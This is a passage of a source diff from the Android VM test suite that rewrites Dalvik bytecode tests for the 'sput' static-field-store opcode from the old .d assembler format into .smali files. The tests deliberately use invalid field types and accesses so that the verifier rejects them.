+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_10.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_10;
+.super  Ljava/lang/Object;
+
+.field public st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       sput v1, Ldot/junit/opcodes/sput/d/T_sput_10;->st_i1N:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_11.d
deleted file mode 100644
index 90cc7c0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_11.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_11.java
-.class public dot.junit.opcodes.sput.d.T_sput_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1000000
-       sput v1, dot.junit.opcodes.sput.TestStubs.TestStubFieldFinal I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_11.smali
new file mode 100644
index 0000000..dc5c9b3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_11.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_11.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       sput v1, Ldot/junit/opcodes/sput/TestStubs;->TestStubFieldFinal:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_12.d
deleted file mode 100644
index 6543443..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_12.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_12.java
-.class public dot.junit.opcodes.sput.d.T_sput_12
-.super java/lang/Object
-
-.field public static final st_i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1000000
-       sput v1, dot.junit.opcodes.sput.d.T_sput_12.st_i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_12.smali
new file mode 100644
index 0000000..3041c6b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_12.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_12.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_12;
+.super  Ljava/lang/Object;
+
+.field public static final st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       sput v1, Ldot/junit/opcodes/sput/d/T_sput_12;->st_i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_13.d
deleted file mode 100644
index f6c9d9f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_13.d
+++ /dev/null
@@ -1,53 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source StubInitError.java
-.class public dot.junit.opcodes.sput.d.StubInitError
-.super java/lang/Object
-
-.field public static value I
-
-.method static <clinit>()V
-.limit regs 2
-
-       const/4 v0, 0
-       const/4 v1, 5
-       div-int/2addr v1, v0
-
-       sput v1, dot.junit.opcodes.sput.d.StubInitError.value I
-       return-void
-.end method
-
-
-.source T_sput_13.java
-.class public dot.junit.opcodes.sput.d.T_sput_13
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1000000
-       sput v1, dot.junit.opcodes.sput.d.StubInitError.value I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_13.java b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_13.java
index 4693899..61cd6ed 100644
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_13.java
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_13.java
@@ -17,6 +17,7 @@
 package dot.junit.opcodes.sput.d;
 
 class StubInitError {
+    @SuppressWarnings("ConstantOverflow")
     static int value = 5 / 0; 
 }
 
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_13.smalis/StubInitError.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_13.smalis/StubInitError.smali
new file mode 100644
index 0000000..545883d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_13.smalis/StubInitError.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput/d/StubInitError;
+.super Ljava/lang/Object;
+.source "StubInitError.java"
+
+
+# static fields
+.field public static value:I
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    const/4 v0, 0x0
+
+    const/4 v1, 0x5
+
+    div-int/2addr v1, v0
+
+    sput v1, Ldot/junit/opcodes/sput/d/StubInitError;->value:I
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_13.smalis/T_sput_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_13.smalis/T_sput_13.smali
new file mode 100644
index 0000000..08cbe38
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_13.smalis/T_sput_13.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput/d/T_sput_13;
+.super Ljava/lang/Object;
+.source "T_sput_13.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const v1, 0xf4240
+
+    sput v1, Ldot/junit/opcodes/sput/d/StubInitError;->value:I
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_14.d
deleted file mode 100644
index 89cab9e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_14.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_14.java
-.class public dot.junit.opcodes.sput.d.T_sput_14
-.super dot/junit/opcodes/sput/d/T_sput_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sput/d/T_sput_1/<init>()V
-       return-void
-.end method
-
-.method public static getProtectedField()I
-.limit regs 2
-
-       sget v0, dot.junit.opcodes.sput.d.T_sput_1.st_p1 I
-       return v0
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1000000
-       sput v1, dot.junit.opcodes.sput.d.T_sput_1.st_p1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_14.smali
new file mode 100644
index 0000000..cd21062
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_14.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_14.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_14;
+.super  Ldot/junit/opcodes/sput/d/T_sput_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput/d/T_sput_1;-><init>()V
+       return-void
+.end method
+
+.method public static getProtectedField()I
+.registers 2
+
+       sget v0, Ldot/junit/opcodes/sput/d/T_sput_1;->st_p1:I
+       return v0
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       sput v1, Ldot/junit/opcodes/sput/d/T_sput_1;->st_p1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_15.d
deleted file mode 100644
index e2723fe..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_15.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_15.java
-.class public dot.junit.opcodes.sput.d.T_sput_15
-.super dot/junit/opcodes/sput/d/T_sput_1
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sput/d/T_sput_1/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const/16 v1, 12321
-       sput v1, dot.junit.opcodes.sput.d.T_sput_1.st_pvt1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_15.smali
new file mode 100644
index 0000000..0a03f38
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_15.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_15.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_15;
+.super  Ldot/junit/opcodes/sput/d/T_sput_1;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sput/d/T_sput_1;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const/16 v1, 12321
+       sput v1, Ldot/junit/opcodes/sput/d/T_sput_1;->st_pvt1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_17.d
deleted file mode 100644
index ce6a0a8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_17.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_17.java
-.class public dot.junit.opcodes.sput.d.T_sput_17
-.super java/lang/Object
-
-.field public static st_i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1000000
-       sput v1, dot.junit.opcodes.sput.d.T_sput_17.st_i1 I
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_17.smali
new file mode 100644
index 0000000..ad4f73d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_17.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_17.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_17;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       sput v1, Ldot/junit/opcodes/sput/d/T_sput_17;->st_i1:I
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_18.d
deleted file mode 100644
index 7a79061..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_18.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_18.java
-.class public dot.junit.opcodes.sput.d.T_sput_18
-.super java/lang/Object
-
-.field public static st_i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1000000
-       sput v1, dot.junit.opcodes.sput.d.T_sput_18.st_i1 D
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_18.smali
new file mode 100644
index 0000000..916fb04
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_18.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_18.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_18;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1000000
+       sput v1, Ldot/junit/opcodes/sput/d/T_sput_18;->st_i1:D
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_19.d
deleted file mode 100644
index d0f53cf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_19.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_19.java
-.class public dot.junit.opcodes.sput.d.T_sput_19
-.super java/lang/Object
-
-.field public static st_f1 F
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 3.14
-       sput v1, dot.junit.opcodes.sput.d.T_sput_19.st_f1 F
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_19.smali
new file mode 100644
index 0000000..3d0c0d1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_19.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput/d/T_sput_19;
+.super Ljava/lang/Object;
+.source "T_sput_19.java"
+
+
+# static fields
+.field public static st_f1:F
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const v1, 0x4048f5c3    # 3.14f
+
+    sput v1, Ldot/junit/opcodes/sput/d/T_sput_19;->st_f1:F
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_2.d
deleted file mode 100644
index 9989c88..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_2.java
-.class public dot.junit.opcodes.sput.d.T_sput_2
-.super java/lang/Object
-
-.field public static st_d1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       const-wide v1, 1000000.000000
-       sput v1, dot.junit.opcodes.sput.d.T_sput_2.st_d1 D
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_2.smali
new file mode 100644
index 0000000..4b0ea6e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_2.java"
+.class  public Ldot/junit/opcodes/sput/d/T_sput_2;
+.super  Ljava/lang/Object;
+
+.field public static st_d1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+
+       const-wide v1, 1000000.000000
+       sput v1, Ldot/junit/opcodes/sput/d/T_sput_2;->st_d1:D
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_20.d
deleted file mode 100644
index 9229d34..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_20.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_20.java
-.class public dot.junit.opcodes.sput.d.T_sput_20
-.super java/lang/Object
-
-.field public static st_o Ljava/lang/Object;
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-
-       const v3, 0
-       sput v3, dot.junit.opcodes.sput.d.T_sput_20.st_o Ljava/lang/Object;
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_20.smali
new file mode 100644
index 0000000..9ed2b1b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_20.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput/d/T_sput_20;
+.super Ljava/lang/Object;
+.source "T_sput_20.java"
+
+
+# static fields
+.field public static st_o:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    const p0, 0x0
+
+    sput p0, Ldot/junit/opcodes/sput/d/T_sput_20;->st_o:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_21.d
deleted file mode 100644
index bc08d1d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput/d/T_sput_21.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_21.java
-.class public dot.junit.opcodes.sput.d.T_sput_21
-.super java/lang/Object
-
-.field public static st_s S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1234    
